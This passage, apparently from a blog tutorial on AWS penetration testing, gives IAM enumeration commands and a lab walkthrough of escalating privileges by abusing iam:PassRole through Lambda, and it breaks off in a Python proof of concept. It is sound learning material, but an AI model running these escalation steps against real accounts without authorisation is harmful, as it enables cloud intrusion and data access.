Workflow&lt;/strong&gt;&lt;/p&gt;&#10;&lt;table&gt;&#10;&#9;&lt;thead&gt;&#10;&#9;&#9;&#9;&lt;tr&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;th&gt;&lt;strong&gt;Command&lt;/strong&gt;&lt;/th&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;th&gt;&lt;strong&gt;Purpose&lt;/strong&gt;&lt;/th&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;th&gt;&lt;strong&gt;Required Permission&lt;/strong&gt;&lt;/th&gt;&#10;&#9;&#9;&#9;&lt;/tr&gt;&#10;&#9;&lt;/thead&gt;&#10;&#9;&lt;tbody&gt;&#10;&#9;&#9;&#9;&lt;tr&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;&lt;code&gt;aws sts get-caller-identity&lt;/code&gt;&lt;/td&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;Get the current identity (determine whether it is an IAM user or IAM role)&lt;/td&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;No permission required (available by default to all AWS accounts)&lt;/td&gt;&#10;&#9;&#9;&#9;&lt;/tr&gt;&#10;&#9;&#9;&#9;&lt;tr&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;&lt;code&gt;aws iam list-roles&lt;/code&gt;&lt;/td&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;List the names and ARNs of all IAM roles in the current AWS account&lt;/td&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;&lt;code&gt;iam:ListRoles&lt;/code&gt;&lt;/td&gt;&#10;&#9;&#9;&#9;&lt;/tr&gt;&#10;&#9;&#9;&#9;&lt;tr&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;&lt;code&gt;aws iam list-users&lt;/code&gt;&lt;/td&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;List all IAM users &lt;strong&gt;(username + ARN)&lt;/strong&gt;&lt;/td&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;&lt;code&gt;iam:ListUsers&lt;/code&gt;&lt;/td&gt;&#10;&#9;&#9;&#9;&lt;/tr&gt;&#10;&#9;&#9;&#9;&lt;tr&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;&lt;code&gt;aws iam get-user&lt;/code&gt;&lt;/td&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;Get detailed information about the current IAM user &lt;strong&gt;(username + ARN)&lt;/strong&gt;&lt;/td&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;&lt;code&gt;iam:GetUser&lt;/code&gt;&lt;/td&gt;&#10;&#9;&#9;&#9;&lt;/tr&gt;&#10;&#9;&#9;&#9;&lt;tr&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;&lt;code&gt;aws iam get-role --role-name &amp;lt;ROLE_NAME&amp;gt;&lt;/code&gt;&lt;/td&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;Get detailed information about a specified role (including its trust policy)&lt;/td&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;&lt;code&gt;iam:GetRole&lt;/code&gt;&lt;/td&gt;&#10;&#9;&#9;&#9;&lt;/tr&gt;&#10;&#9;&#9;&#9;&lt;tr&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;&lt;code&gt;aws iam list-entities-for-policy --policy-arn arn:aws:iam::aws:policy/AdministratorAccess&lt;/code&gt;&lt;/td&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;See which IAM users/roles &lt;strong&gt;have administrator permissions attached&lt;/strong&gt;&lt;/td&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;&lt;code&gt;iam:ListEntitiesForPolicy&lt;/code&gt;&lt;/td&gt;&#10;&#9;&#9;&#9;&lt;/tr&gt;&#10;&#9;&#9;&#9;&lt;tr&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;&lt;code&gt;aws iam list-attached-role-policies --role-name &amp;lt;ROLE_NAME&amp;gt;&lt;/code&gt;&lt;/td&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;Get the &lt;strong&gt;attached&lt;/strong&gt; managed policies for a specified role&lt;/td&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;&lt;code&gt;iam:ListAttachedRolePolicies&lt;/code&gt;&lt;/td&gt;&#10;&#9;&#9;&#9;&lt;/tr&gt;&#10;&#9;&#9;&#9;&lt;tr&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;&lt;code&gt;aws iam list-role-policies --role-name &amp;lt;ROLE_NAME&amp;gt;&lt;/code&gt;&lt;/td&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;Get the &lt;strong&gt;inline policies&lt;/strong&gt; for a specified role&lt;/td&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;&lt;code&gt;iam:ListRolePolicies&lt;/code&gt;&lt;/td&gt;&#10;&#9;&#9;&#9;&lt;/tr&gt;&#10;&#9;&#9;&#9;&lt;tr&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;&lt;code&gt;aws iam get-role-policy --role-name &amp;lt;ROLE_NAME&amp;gt; --policy-name &amp;lt;POLICY_NAME&amp;gt;&lt;/code&gt;&lt;/td&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;View the full details of a specified role&amp;rsquo;s &lt;strong&gt;inline policy&lt;/strong&gt;&lt;/td&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;&lt;code&gt;iam:GetRolePolicy&lt;/code&gt;&lt;/td&gt;&#10;&#9;&#9;&#9;&lt;/tr&gt;&#10;&#9;&#9;&#9;&lt;tr&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;&lt;code&gt;aws iam get-policy --policy-arn &amp;lt;POLICY_ARN&amp;gt;&lt;/code&gt;&lt;/td&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;View information about a specified &lt;strong&gt;managed policy&lt;/strong&gt;&lt;/td&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;&lt;code&gt;iam:GetPolicy&lt;/code&gt;&lt;/td&gt;&#10;&#9;&#9;&#9;&lt;/tr&gt;&#10;&#9;&#9;&#9;&lt;tr&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;&lt;code&gt;aws iam get-policy-version --policy-arn &amp;lt;POLICY_ARN&amp;gt; --version-id v1&lt;/code&gt;&lt;/td&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;Get the detailed permissions in a specified &lt;strong&gt;managed policy version&lt;/strong&gt;&lt;/td&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;&lt;code&gt;iam:GetPolicyVersion&lt;/code&gt;&lt;/td&gt;&#10;&#9;&#9;&#9;&lt;/tr&gt;&#10;&#9;&#9;&#9;&lt;tr&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;&lt;code&gt;aws sts assume-role --role-arn &amp;quot;arn:aws:iam::&amp;lt;ACCOUNT_ID&amp;gt;:role/&amp;lt;ROLE_NAME&amp;gt;&amp;quot; --role-session-name my-session&lt;/code&gt;&lt;/td&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;Switch to the target role (the target role must trust the current identity)&lt;/td&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;&lt;code&gt;sts:AssumeRole&lt;/code&gt;&lt;/td&gt;&#10;&#9;&#9;&#9;&lt;/tr&gt;&#10;&#9;&#9;&#9;&lt;tr&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;&lt;code&gt;aws sts get-session-token&lt;/code&gt;&lt;/td&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;Get temporary MFA-based credentials (used to increase privileges)&lt;/td&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;&lt;code&gt;sts:GetSessionToken&lt;/code&gt;&lt;/td&gt;&#10;&#9;&#9;&#9;&lt;/tr&gt;&#10;&#9;&#9;&#9;&lt;tr&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;&lt;code&gt;aws sts decode-authorization-message --encoded-message &amp;lt;ENCODED_MESSAGE&amp;gt;&lt;/code&gt;&lt;/td&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;Decode the detailed information in an &lt;code&gt;AccessDenied&lt;/code&gt; error&lt;/td&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;&lt;code&gt;sts:DecodeAuthorizationMessage&lt;/code&gt;&lt;/td&gt;&#10;&#9;&#9;&#9;&lt;/tr&gt;&#10;&#9;&lt;/tbody&gt;&#10;&lt;/table&gt;&#10;&lt;h3 id="abusing-the-iampassrole-permission"&gt;&lt;a href="#abusing-the-iampassrole-permission" class="header-anchor"&gt;&lt;/a&gt;Abusing the iam:PassRole Permission&#10;&lt;/h3&gt;&lt;h4 id="theory-1"&gt;&lt;a href="#theory-1" class="header-anchor"&gt;&lt;/a&gt;Theory&#10;&lt;/h4&gt;&lt;p&gt;&lt;strong&gt;How it works:&lt;/strong&gt;&lt;/p&gt;&#10;&lt;ol&gt;&#10;&lt;li&gt;&lt;strong&gt;PassRole lets you assign an IAM role&lt;/strong&gt; to an &lt;strong&gt;AWS resource&lt;/strong&gt; (such as EC2 or Lambda).&lt;/li&gt;&#10;&lt;li&gt;&lt;strong&gt;But you cannot Assume that role yourself&lt;/strong&gt;. You can only let an AWS resource use it.&lt;/li&gt;&#10;&lt;li&gt;&lt;strong&gt;If that AWS resource can perform privileged operations&lt;/strong&gt; (such as reading and writing S3 or operating EC2), you can &lt;strong&gt;use it to obtain elevated privileges indirectly&lt;/strong&gt;.&lt;/li&gt;&#10;&lt;/ol&gt;&#10;&lt;p&gt;&lt;strong&gt;Approaches:&lt;/strong&gt;&lt;/p&gt;&#10;&lt;ol&gt;&#10;&lt;li&gt;&lt;strong&gt;Attach a privileged role to Lambda (the common approach)&lt;/strong&gt;&lt;/li&gt;&#10;&lt;/ol&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;&lt;strong&gt;We have&lt;/strong&gt; the &lt;code&gt;iam:PassRole&lt;/code&gt; permission and can create / update Lambda functions.&lt;/li&gt;&#10;&lt;li&gt;We &lt;strong&gt;create a Lambda function and attach the privileged role to it&lt;/strong&gt;, then &lt;strong&gt;have Lambda execute commands&lt;/strong&gt;.&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;ol start="2"&gt;&#10;&lt;li&gt;&lt;strong&gt;Attach the privileged role to Lambda / EC2 (rare, but possible)&lt;/strong&gt;&lt;/li&gt;&#10;&lt;/ol&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;If the target privileged IAM role &lt;strong&gt;can modify AWS resources (EC2 / Lambda)&lt;/strong&gt;, it can be steered into executing malicious code.&lt;/li&gt;&#10;&lt;li&gt;This is relatively uncommon. It mainly happens when an administrator&amp;rsquo;s misconfiguration lets you control an AWS resource associated with a privileged role.&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;p&gt;&lt;strong&gt;Prerequisite: you have one of the following permissions&lt;/strong&gt;&lt;/p&gt;&#10;&lt;table&gt;&#10;&#9;&lt;thead&gt;&#10;&#9;&#9;&#9;&lt;tr&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;th&gt;&lt;strong&gt;Permission&lt;/strong&gt;&lt;/th&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;th&gt;&lt;strong&gt;Purpose&lt;/strong&gt;&lt;/th&gt;&#10;&#9;&#9;&#9;&lt;/tr&gt;&#10;&#9;&lt;/thead&gt;&#10;&#9;&lt;tbody&gt;&#10;&#9;&#9;&#9;&lt;tr&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;&lt;code&gt;iam:PassRole&lt;/code&gt;&lt;/td&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;Lets you attach an IAM role to Lambda / EC2 &lt;strong&gt;(prerequisite permission; required)&lt;/strong&gt;&lt;/td&gt;&#10;&#9;&#9;&#9;&lt;/tr&gt;&#10;&#9;&#9;&#9;&lt;tr&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;&lt;code&gt;lambda:CreateFunction&lt;/code&gt;&lt;/td&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;Lets you create a new Lambda function &lt;strong&gt;(assign the privileged role when creating it; choose one of these two)&lt;/strong&gt;&lt;/td&gt;&#10;&#9;&#9;&#9;&lt;/tr&gt;&#10;&#9;&#9;&#9;&lt;tr&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;&lt;code&gt;lambda:UpdateFunctionConfiguration&lt;/code&gt;&lt;/td&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;Lets you change the IAM role of an existing Lambda function &lt;strong&gt;(choose one of these two)&lt;/strong&gt;&lt;/td&gt;&#10;&#9;&#9;&#9;&lt;/tr&gt;&#10;&#9;&#9;&#9;&lt;tr&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;&lt;code&gt;lambda:InvokeFunction&lt;/code&gt;&lt;/td&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;Lets you invoke Lambda &lt;strong&gt;(if you changed the Lambda code, you also need to be able to call it; required)&lt;/strong&gt;&lt;/td&gt;&#10;&#9;&#9;&#9;&lt;/tr&gt;&#10;&#9;&#9;&#9;&lt;tr&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;&lt;code&gt;lambda:ListFunctions&lt;/code&gt;&lt;/td&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;Lets you list existing Lambda functions &lt;strong&gt;(if you want to modify one, you first need to be able to see it; required)&lt;/strong&gt;&lt;/td&gt;&#10;&#9;&#9;&#9;&lt;/tr&gt;&#10;&#9;&#9;&#9;&lt;tr&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;&lt;code&gt;ec2:RunInstances&lt;/code&gt;&lt;/td&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;Lets you create a new EC2 instance &lt;strong&gt;(assign the privileged role when creating it)&lt;/strong&gt;&lt;/td&gt;&#10;&#9;&#9;&#9;&lt;/tr&gt;&#10;&#9;&#9;&#9;&lt;tr&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;&lt;code&gt;ec2:ModifyInstanceAttribute&lt;/code&gt;&lt;/td&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;Lets you change the IAM role of an existing EC2 instance&lt;/td&gt;&#10;&#9;&#9;&#9;&lt;/tr&gt;&#10;&#9;&#9;&#9;&lt;tr&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;&lt;code&gt;ec2:StartInstances&lt;/code&gt;&lt;/td&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td&gt;Lets you start a stopped EC2 instance (if it already has a privileged role)&lt;/td&gt;&#10;&#9;&#9;&#9;&lt;/tr&gt;&#10;&#9;&lt;/tbody&gt;&#10;&lt;/table&gt;&#10;&lt;p&gt;Let me explain this part. When you create a role, you can choose a service such as Lambda or EC2. The &lt;code&gt;EC2S3AccessRole&lt;/code&gt; we used earlier was created by choosing EC2, so it is a role with full EC2 permissions. EC2 was already selected when the role was created. If &lt;code&gt;iam:PassRole&lt;/code&gt; is then attached, this part of the exploit becomes possible. That is the basic idea. Of course, this is only one scenario; the point is simply to understand the concept. In practice, you still need the permissions listed above—for example, &lt;code&gt;iam:PassRole&lt;/code&gt; plus the four Lambda permissions, or &lt;code&gt;iam:PassRole&lt;/code&gt; plus the three EC2 permissions. Either combination can work.&lt;/p&gt;&#10;&lt;p&gt;The main flow is to list all Lambda functions (&lt;code&gt;lambda:ListFunctions&lt;/code&gt;), create or reconfigure a Lambda function (&lt;code&gt;lambda:CreateFunction&lt;/code&gt;/&lt;code&gt;lambda:UpdateFunctionConfiguration&lt;/code&gt;), use &lt;code&gt;iam:PassRole&lt;/code&gt; to attach the privileged role, supply the Lambda code—which can usually be prepared as part of creation—and then run it (&lt;code&gt;lambda:InvokeFunction&lt;/code&gt;) to complete the attack.&lt;/p&gt;&#10;&lt;h4 id="lab-setup-1"&gt;&lt;a href="#lab-setup-1" class="header-anchor"&gt;&lt;/a&gt;Lab Setup&#10;&lt;/h4&gt;&lt;p&gt;We need a privileged role that trusts the Lambda service. I will target this role shortly.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/aws-cloud-pentesting/image-0027.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/aws-cloud-pentesting/image-0028.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/aws-cloud-pentesting/image-0029.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Let&amp;rsquo;s verify that this account is usable and talk a little about how Lambda works. Lambda requires a role to be attached. If no suitable role exists when you create a Lambda function, AWS will automatically generate one for you. The role we just created is suitable: first, it trusts the Lambda service; second, it has the &lt;code&gt;administratoraccess&lt;/code&gt; permission, which includes all Lambda permissions.&lt;/p&gt;&#10;&lt;p&gt;How do we verify that? Go to Lambda, create a function, and choose an existing role. Only suitable roles will appear here.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/aws-cloud-pentesting/image-0030.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The second one is the role we created. So where did the first one come from? When I was learning the basics in the AWS fundamentals section and did not understand this yet, I chose the option above to create a new role with basic Lambda permissions, and AWS created it automatically. We can inspect the role to see which permissions it has: &lt;code&gt;MyFirstFunction-role-ox8lckqa&lt;/code&gt;.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/aws-cloud-pentesting/image-0031.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/aws-cloud-pentesting/image-0032.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;As you can see, it only trusts the Lambda service. It also has a custom policy, mainly for Amazon CloudWatch Logs permissions.&#10;That matches the description.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/aws-cloud-pentesting/image-0033.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The role we want to escalate to is ready. We also need either an &lt;strong&gt;account with Lambda permissions / a role we can access&lt;/strong&gt;. Either one works. Add the crucial &lt;strong&gt;iam:PassRole&lt;/strong&gt; permission, and the low-privileged user / role is configured.&lt;/p&gt;&#10;&lt;p&gt;You can think through the considerations here yourself, including which option is more convenient. Doing so helps deepen your understanding of these services and makes the architecture and underlying mechanism clearer. For this demonstration, and to revisit what we learned earlier, I will choose &lt;strong&gt;a role we can access&lt;/strong&gt;.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/aws-cloud-pentesting/image-0034.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/aws-cloud-pentesting/image-0035.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/aws-cloud-pentesting/image-0036.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Create it, then grant the key permission, &lt;code&gt;iam:PassRole&lt;/code&gt;.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/aws-cloud-pentesting/image-0037.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;That completes the setup. Let&amp;rsquo;s organize the current idea.&#10;We have a privileged role that trusts Lambda, plus a low-privileged role under our control that only has Lambda and &lt;code&gt;iam:PassRole&lt;/code&gt; permissions. The low-privileged role can use its Lambda permissions to create a function, while &lt;code&gt;iam:PassRole&lt;/code&gt; lets us designate the privileged role as that function&amp;rsquo;s execution role. Once we assign the privileged role that trusts Lambda as the execution role of our function, any Lambda code we upload runs as that privileged role. That is the whole principle.&lt;/p&gt;&#10;&lt;h4 id="reproduction-and-verification-1"&gt;&lt;a href="#reproduction-and-verification-1" class="header-anchor"&gt;&lt;/a&gt;Reproduction and Verification&#10;&lt;/h4&gt;&lt;p&gt;Remember the &lt;code&gt;EC2S3AccessRole&lt;/code&gt; account? It has permission to switch roles. We could also use the account with &lt;code&gt;administratoraccess&lt;/code&gt; permissions that we created earlier; either is fine. What matters here is that we control an account with Lambda permissions and that the account also has the &lt;code&gt;iam:PassRole&lt;/code&gt; permission.&lt;/p&gt;&#10;&lt;p&gt;Find the ARN of the newly created low-privileged role, &lt;code&gt;LambdaTest&lt;/code&gt;.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws sts assume-role --role-arn arn:aws:iam::65025******:role/LambdaTest --role-session-name ExploitSession&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/aws-cloud-pentesting/image-0038.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;No problems. I am still using the credential import method from the previous section because it is simpler. The other methods are a little more troublesome, so I will skip them.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws configure &lt;span class="nb"&gt;set&lt;/span&gt; aws_access_key_id &lt;span class="s2"&gt;&amp;#34;ASIAxxxxxxxxxxxxx&amp;#34;&lt;/span&gt; --profile privileged-session&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws configure &lt;span class="nb"&gt;set&lt;/span&gt; aws_secret_access_key &lt;span class="s2"&gt;&amp;#34;xxxxxxxxxxxxxxxxxx&amp;#34;&lt;/span&gt; --profile privileged-session&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws configure &lt;span class="nb"&gt;set&lt;/span&gt; aws_session_token &lt;span class="s2"&gt;&amp;#34;xxxxxxxxxxxxxxxxxxx&amp;#34;&lt;/span&gt; --profile privileged-session&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws configure &lt;span class="nb"&gt;set&lt;/span&gt; region &lt;span class="s2"&gt;&amp;#34;us-east-2&amp;#34;&lt;/span&gt; --profile privileged-session&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;Once these are set, the commands can run anywhere as long as AwsCli is available.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/aws-cloud-pentesting/image-0039.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The command works. The result is empty because I deleted all the Lambda functions. (The boto3 library used by Lambda functions is something I definitely need to learn. I am fairly comfortable with python, so I will dedicate a separate section to boto3 later.) Just follow the upload steps from the fundamentals section.&lt;/p&gt;&#10;&lt;p&gt;Build the python POC code.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;span class="lnt"&gt;14&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;import json&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;import boto3&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;def lambda_handler&lt;span class="o"&gt;(&lt;/span&gt;event, context&lt;span class="o"&gt;)&lt;/span&gt;:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nv"&gt;client&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; boto3.client&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;s3&amp;#39;&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nv"&gt;response&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; client.list_buckets&lt;span class="o"&gt;()&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;for&lt;/span&gt; bucket in response&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;Buckets&amp;#34;&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; bucket&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;CreationDate&amp;#34;&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; bucket&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;CreationDate&amp;#34;&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;.isoformat&lt;span class="o"&gt;()&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="s1"&gt;&amp;#39;statusCode&amp;#39;&lt;/span&gt;: 200,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="s1"&gt;&amp;#39;body&amp;#39;&lt;/span&gt;: json.dumps&lt;span class="o"&gt;(&lt;/span&gt;response&lt;span class="o"&gt;)&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span 